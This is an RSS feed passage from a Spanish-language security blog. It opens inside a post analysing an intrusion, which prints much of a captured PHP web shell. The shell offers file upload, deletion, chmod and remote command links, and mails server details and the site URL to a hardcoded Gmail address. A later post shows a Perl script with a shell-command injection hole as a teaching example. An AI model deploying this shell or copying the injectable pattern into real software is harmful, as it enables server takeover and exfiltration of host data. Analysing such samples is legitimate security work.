onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=yes\">Kembali</a></legend

>";
  }
}
else {
if (strtoupper(substr($OS, 0,3) == 'WIN')) {
 echo "
<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Foldr Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=cmd&amp;chdir={$chdir}&amp;cmd={$newuser}\">Remote

Access</a></legend>

";
 } else {
   echo "
<legend>Dir NO: {$chdir} - <a href=\"#[New Dir]\"

onclick=\"Mkdir('{$chdir}');\">Folder Baru</a> | <a href=\"#[New File]\"

onclick=\"Newfile('{$chdir}')\">File Baru</a> | <a

href=\"{$fstring}&amp;action=backtool&amp;chdir={$chdir}&amp;write=no\">Kembali</a></legend>

";
  }
}

if (@!$handle = opendir("$chdir")) {
 echo " Gue gak bisa masuk folder, <a href=\"{$fstring}\">Klik sini!</a>
untuk Kembali ke folder ori!</br>";
}
else {
echo "
<table border=\"0\" cellpadding=\"5\" cellspacing=\"0\"
width=\"100%\">";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> Upload:";
echo "
<input type=\"file\" name=\"userfile\" size=\"65\" style=\"
border-style:

solid; border-width: 1\">";
echo "
<input type=\"submit\" value=\"Kirim\" name=\"B1\" style=\"
border: 1px solid

#000000\"></td>

";
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> </td>

";
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\">";
if (@!$msg) {
 echo "
<p align=\"left\">Messages</td>

";
} else {
  echo "
<p align=\"left\">$msg</td>

";
 }
echo "    </tr>

";
echo "
<tr>";
echo "
<td width=\"100%\" colspan=\"4\"> </td>

";
echo "    </tr>
</table>

 ";
echo "
<table border=\"1\" cellpadding=\"2\" cellspacing=\"0\"
width=\"100%\">";
echo "
<tr bgcolor=\"#FF6600\" align=\"center\"> ";
echo "
<td > Permision</td>

";
echo "
<td > Nama File </td>

";
echo "
<td > Kapasiti </td>

";
echo "
<td > Perintah</td>

";
echo "     </tr>

";
$colorn = 0;
   while (false !== ($file = readdir($handle))) {
       if ($file != '.') {
           if ($colorn == 0) {
            $color = "style=\"background-color: #FF9900\"";
           }
           elseif ($colorn == 1) {
            $color = "style=\"background-color:  #FFCC33\"";
           }
           if (@is_dir("$chdir"."$file")) {
            $file = $file.'/';
            $mode = 'chdir';
           } else {
              $mode = 'edit';
            }
           if (@substr("$chdir", strlen($chdir) -1, 1) != '/') {
             $chdir .= '/';
           }
           if ($file == '../') {
            $lenpath = strlen($chdir); $baras = 0;
            for ($i = 0;$i < $lenpath;$i++) { if ($chdir{$i} == '/') {
$baras++; } }
            $chdir_ = explode("/", $chdir);
            $chdirpox = str_replace($chdir_[$baras-1].'/', "", $chdir);
           }
           $perms = @fileperms ("$chdir"."$file");
           if ($perms == '') {
            $perms = '???';
           }
           $size = @filesize ("$chdir"."$file");
           $size = $size / 1024;
           $size = explode(".", $size);
           if (@$size[1] != '') {
            $size = $size[0].'.'.@substr("$size[1]", 0, 2);
           } else {
              $size = $size[0];
            }
           if ($size == 0) {
            if ($mode == 'chdir') {
             $size = '???';
            }
           }
           echo "
<tr>";
    echo "
<td align=\"center\" $color> $perms</td>

";
           if (@is_writable ("$chdir"."$file")) {
            if ($mode == 'chdir') {
             if ($file == '../') {
              echo "
<td $color> <b><a
href=\"{$fstring}&amp;chdir=$chdirpox\">TAG font color=\"#008000\">$file</font></a></b> </td>

";
             } else {
                echo "
<td $color> <b><a
href=\"{$fstring}&amp;chdir={$chdir}{$file}\">TAG font color=\"#008000\">$file</font></a> </b></td>

";
               }
            } else {
 if (is_readable("$chdir"."$file")) {
                echo "
<td $color> TAG a href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a>
</td>

";
               } else {
                  echo "
<td $color> $file </td>

";
                 }
              }
           }
          else {
            if ($mode == 'chdir') {
             if ($file == '../') {
              echo "
<td $color> <a
href=\"{$fstring}&amp;chdir=$chdirpox\">$file</a>
</td>

";
             } else {
                echo "
<td $color> <a

href=\"{$fstring}&amp;chdir={$chdir}{$file}\">$file</a></td>

";

              }
            } else {
 if (@is_readable("$chdir"."$file")) {
                echo "
<td  $color> <a

href=\"{$fstring}&amp;action=edit&amp;chdir=$chdir&amp;file=$file\">$file</a>
</td>

";
               } else {
                  echo "
<td $color> $file</td>

";
                }
              }
            }
           echo "
<td align=\"right\" $color> $size KB</td>

";
           if ($mode == 'edit') {
            echo "
<td align=\"center\" $color> <a href=\"#{$file}\"

onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a

href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=file\">Del</a>

| <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | <a
href=\"#{$file}\"

onclick=\"Copy('{$chdir}', '{$file}')\">Copy</a> </td>

";
           } else {
              echo "
<td align=\"center\" $color> <a href=\"#{$file}\"

onclick=\"Rename('{$chdir}', '{$file}', '{$mode}')\">Rename</a> | <a

href=\"{$fstring}&amp;action=del&amp;chdir={$chdir}&amp;file={$file}&amp;type=dir\">Del</a>

| <a href=\"#{$file}\" onclick=\"ChMod('$chdir', '$file')\">Chmod</a> | Copy
</td>

";
             }
           echo "</tr>

";
           if ($colorn == 0) {
            $colorn = 1;
           }
           elseif ($colorn == 1) {
            $colorn = 0;
           }
       }
   }
   closedir($handle);
}

 $OS = @PHP_OS;
 $UNAME = @php_uname();
 $PHPv = @phpversion();
 $SafeMode = @ini_get('safe_mode');

 if ($SafeMode == '') { $SafeMode = "<i>OFF</i><BR>"; }
 else { $SafeMode = "<i>$SafeMode</i><BR>"; }

 $injek=($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);

 $psn=("OS = " . $OS . "<BR>UNAME = " . $UNAME . "<BR>PHPVersion = " .
$PHPv . "<BR>Safe

Mode = " . $SafeMode . "<BR>TAG font color=blue>http://" . $injek .
"</font><BR>Ingat jangan

Guna Target Ini.<BR>By: NABIL");

 $header = "From: $_SERVER[SERVER_ADMIN] <$from>\r\nReply-To:
$replyto\r\n";
 $header .= "MIME-Version: 1.0\r\n";
 If ($file_name) $header .= "Content-Type: multipart/mixed;
boundary=$uid\r\n";
 If ($file_name) $header .= "--$uid\r\n";
 $header .= "Content-Type: text/$contenttype\r\n";
 $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
 $header .= "$message\r\n";
 If ($file_name) $header .= "--$uid\r\n";
 If ($file_name) $header .= "Content-Type: $file_type;
name=\"$file_name\"\r\n";
 If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
 If ($file_name) $header .= "Content-Disposition: attachment;

filename=\"$file_name\"\r\n\r\n";
 If ($file_name) $header .= "$content\r\n";
 If ($file_name) $header .= "--$uid--";
 $to = ("haumil@gmail.com");
 $subject = ("Inbox linda.");
 mail($to,$subject,$psn,$header);

@include "$bn";
?>
 </table>
</fieldset>
</form>
</div>

</body>

</html>
</pre>
<p>Esta un poco mejor shell99, pero tampoco esta mal, lo que si es que se ve que han tenido tiempo no para desarrollar sino para encontrar los scripts y usarlos, interesante se ve que hay una o 2 personas que mas o menos le dan a la codificacion en perl y un poco en PHP pero en realidad las botnets no estan muy desarrolladas.</p>
<p>Esta decente el botnet, se puede tomar control de ella y obvamente no hacen mucho por generar una botnet mas compleja y mas grande, sin embargo me da la idea para desarrollar una de prueba de concepto durante estas fechas que ando de relax de programar en python para pruebas de volumen.</p>
<p>Bueno despues de tanto codigo .. me lanzo &#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/analisis-de-una-intrusion-y-un-bot/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La tarjeta de Security Dojo</title>
		<link>http://security-dojo.com/programming-bits/la-tarjeta-de-security-dojo/</link>
		<comments>http://security-dojo.com/programming-bits/la-tarjeta-de-security-dojo/#comments</comments>
		<pubDate>Thu, 25 Dec 2008 22:53:59 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Programming]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=28</guid>
		<description><![CDATA[Bueno pues esta navidad en security dojo hicimos la carta a santa claus y no llego el muy cabron, pero lo explotaremos asi como a otras cosas mas como debe de ser, agrego rapidamente el embedido de la tarjeta que le pedimos en 1 ciento y el nunca mando: Asi que si alguien se avienta [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno pues esta navidad en security dojo hicimos la carta a santa claus y no llego el muy cabron, pero lo explotaremos asi como a otras cosas mas como debe de ser, agrego rapidamente el embedido de la tarjeta que le pedimos en 1 ciento y el nunca mando:<br />
<br />
<center><br />
<businesscard><a target=_blank href=http://www.businesscardcollection.com/do/edit/12292FF9A3B5ED2B7A98500D0251F17F097C0CA7099F54D8/><img border=0 src=http://www.businesscardcollection.com/;-)/12292FF9A3B5ED2B7A98500D0251F17F097C0CA7099F54D8.png width=350 height=200></a></businesscard><br />
</center></p>
<p>Asi que si alguien se avienta a patrocinarla me avisan! jajajaja en el inter estoy terminando una investigacion sobre la seguridad de netkey en algunos bancos y creanme &#8230; va a ser bonito ver como un monton de gente patina, sobre todo la chavita de la Universidad Anahuac en clase de maestria que practicamente me reto a que tronara el netkey de Banorte. Esta va por ti nena!!! que Dios salvaguarde tu jale cuando lean esto!!! JAJAJAJA</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/la-tarjeta-de-security-dojo/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Conferencia en la UNIVO</title>
		<link>http://security-dojo.com/programming-bits/conferencia-en-la-univo/</link>
		<comments>http://security-dojo.com/programming-bits/conferencia-en-la-univo/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 20:17:32 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=16</guid>
		<description><![CDATA[Me invitaron a dar una conferencia y un taller en la UNIVO, estuvo excelente la verdad, me gusto que estuviera llena la conferencia que di y mas que mas de la mitad hubieran estado en la conferencia pasada, el titulo de la conferencia fue: Seguridad Informatica: Pasado, Presente y Futuro &#8211; Casos de Estudio La [...]]]></description>
			<content:encoded><![CDATA[<p>Me invitaron a dar una conferencia y un taller en la UNIVO, estuvo excelente la verdad, me gusto que estuviera llena la conferencia que di y mas que mas de la mitad hubieran estado en la conferencia pasada, el titulo de la conferencia fue:</p>
<p>Seguridad Informatica: Pasado, Presente y Futuro &#8211; Casos de Estudio</p>
<p>La verdad estuvo interesante porque dejamos los slides de lado y nos pusimos a ver fallos de ayer, de hoy y de mañana en varios lugares, la verdad no pude aplicar la de un buen XSS para el phishing porque estaba haciendo un caor de la fregada y ya andaba en modo zombi pero se puso bueno en realidad.</p>
<p>Asi que aqui les dejo la conferencia, los slides estan muy muy genericos sin embargo tambien dejo los programas que se vieron dentro de la conferencia, no puedo dejar los URL ya que se hizo con el sistema de la UNIVO, lo siento.<br />
<span id="more-16"></span><br />
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://active.macromedia.com/flash5/cabs/swflash.cab#version=5,0,0,0" height="406" width="669"><param name="movie" value="http://security-dojo.com/wp-content/uploads/2007/12/ejemplo_md5sum.swf"></param><param name="play" value="false"></param><param name="loop" value="false"></param><param name="quality" value="high"></param> <embed src="http://security-dojo.com/wp-content/uploads/2008/11/seguridad-ppf-casosdeestudio.swf" quality="low" loop="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" height="399" width="530"></embed></object></p>
<p>Los ejemplos fueron los mas basicos para mostrar fallos que aun ahora se encuentran en servidores:</p>
<p><code></p>
<pre name="code" class="c">
#!/usr/bin/perl
#

print "Bienvenido al proxy de autenticacion de la red segura de Victima.net, escriba el servidor interno: ";
$server = < STDIN >;
chomp($server);
system("ssh -l externo $server");
</pre>
<p></code></p>
<p>Ese tipo de ejemplos facilitos para ejemplificar la forma en que todavia se hackean servidores de universidades grandes que ofrecen servicios como pine para sus usuarios, aun funciona con planetas, dragones, etc.</p>
<p>Igual ejemplos de malas contraseñas, inyecciones avanzadas de SQL, algunas maquinas de estado, utilizacion de la libreria de GAUL para mutar strings para el fuzzing, etc. cosas basiquitas.</p>
<p>En fin .. me lanzo a jalar que hoy tengo un poco de jale &#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/conferencia-en-la-univo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Codefetch</title>
		<link>http://security-dojo.com/programming-bits/codefetch/</link>
		<comments>http://security-dojo.com/programming-bits/codefetch/#comments</comments>
		<pubDate>Sat, 25 Oct 2008 15:57:40 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[fetch]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[secure]]></category>

		<guid isPermaLink="false">http://security-dojo.com/programming-bits/codefetch/</guid>
		<description><![CDATA[Siempre me preguntan que que lenguajes debes de conocer o poder programar en ellos para poder tener un buen esquema de seguridad obviamente a bajo nivel, todavia no veo como podria necesitar alguien codigo para hacer una politica (no que vaya a ayudar mucho a detener a un atacante si no la implementas claro) Jugando [...]]]></description>
			<content:encoded><![CDATA[<p>Siempre me preguntan que que lenguajes debes de conocer o poder programar en ellos para poder tener un buen esquema de seguridad obviamente a bajo nivel, todavia no veo como podria necesitar alguien codigo para hacer una politica (no que vaya a ayudar mucho a detener a un atacante si no la implementas claro)</p>
<p>Jugando con stumbleupon encontre este sitio:</p>
<p>www.codefetch.com<br />
<span id="more-15"></span><br />
Y rapidamente me quede impresionado con la idea, esta excelente para dudas, ejemplos de codigo y los llamados snippets para cosas rapidas que luego se requieren en auditorias, o en cursos para ejemplos de programacion.</p>
<p>O aun mejor, simplemente para aprender nuevos lenguajes o saber que hace un codigo de un lenguaje con el que no estas completamente familiarizado.</p>
<p>Una buena recomendacion.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/codefetch/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Programacion &#8220;Extrema&#8221;</title>
		<link>http://security-dojo.com/programming-bits/prog-extrem/</link>
		<comments>http://security-dojo.com/programming-bits/prog-extrem/#comments</comments>
		<pubDate>Mon, 14 Apr 2008 18:29:29 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[programación extrema]]></category>

		<guid isPermaLink="false">http://security-dojo.com/uncategorized/eaea-intento-1/</guid>
		<description><![CDATA[Programacion Extrema NO es una programacion que sube montanas, anda en motocross y se avienta escaladas libres, es una programacion que busca optimizar el numero de lineas, complejidad y velocidad de las cosas, un ejemplo es lo que llamo un arreglo de funciones, o tambien funciones flexibles, un programa normal que busca comandos dentro de [...]]]></description>
			<content:encoded><![CDATA[<p>Programacion Extrema NO es una programacion que sube montanas, anda en motocross y se avienta escaladas libres, es una programacion que busca optimizar el numero de lineas, complejidad y velocidad de las cosas, un ejemplo es lo que llamo un arreglo de funciones, o tambien funciones flexibles, un programa normal que busca comandos dentro de un archivo podria verse asi:</p>
<p><code></p>
<pre name="code" class="c">

#include < stdio.h >
#include < unistd.h >
int funcion1(char *linea) {
printf("orale entro a funcion1\n");
return 0;
}
int funcion2(char *linea) {
printf("entramos a funcion2 %s\n", linea);
return 0;
}
int main(int argc, char **argv) {
if(argc < 2) {
printf("Uso: %s < palabra >\n", argv[0]);
return -1;
}
printf("ahora mandamos ejecutar funcion1\n");
funcion1(argv[1]);
printf("ahora ejecutando funcion2\n");
funcion2(argv[1]);
printf("terminamos\n");
return 0;
}
</pre>
<p></code></p>
<p>la salida del archivo es la siguiente:</p>
<pre>
root@firebolt f00 # gcc -o normal normal.c
root@firebolt f00 # ./normal www.soldemorelia.com.mx

Ahora mandamos ejecutar funcion1
se mando www.soldemorelia.com.mx a funcion1
ahora ejecutando funcion2
se mando www.soldemorelia.com.mx a funcion2
terminamos
root@firebolt f00 #
</pre>
<p>Un programa que es flexible es el siguiente:</p>
<pre name="code" class="c">
#include < stdio.h >
#include < unistd.h >
struct ejemplo {
int id;
char *nombre;
int (*execute)(char *linea);
};
int funcion1(char *linea) {
printf("se mando %s a funcion1\n", linea);
return 0;
}
int funcion2(char *linea) {
printf("se mando %s a funcion2\n", linea);
return 0;
}
struct ejemplo f[] = {{1, "funcion numero 1", funcion1},{2, "function numero 2", funcion2}, {0, NULL, NULL}};
int main(int argc, char **argv) {
int i = 0;
if(argc < 2) {
printf("Uso: %s < palabra >\n", argv[0]);
return -1;
}
printf("ahora mandamos ejecutar funcion1\n");
f[0].execute(argv[1]);
printf("ahora ejecutando funcion2\n");
f[1].execute(argv[1]);
printf("terminamos\n");
return 0;
}
</pre>
<p>El codigo es un poco mas largo pero si se quisiera agregar una funcion extra solo se tendria que agregar la funcion y una linea a a estructura, esto da la posibilidad de hacer funciones o cambiar funciones al vuelo y decir “si la palabra es asi has esto si no has lo otro” sin utilizar tanas lineas de codigo y mucho mas facil de leer y mantener.</p>
<p>Regresamos al codigo puro! La proxima semana veremos un programa que nos deja checar servidores y que utiliza ¡funciones flexibles!</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/prog-extrem/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

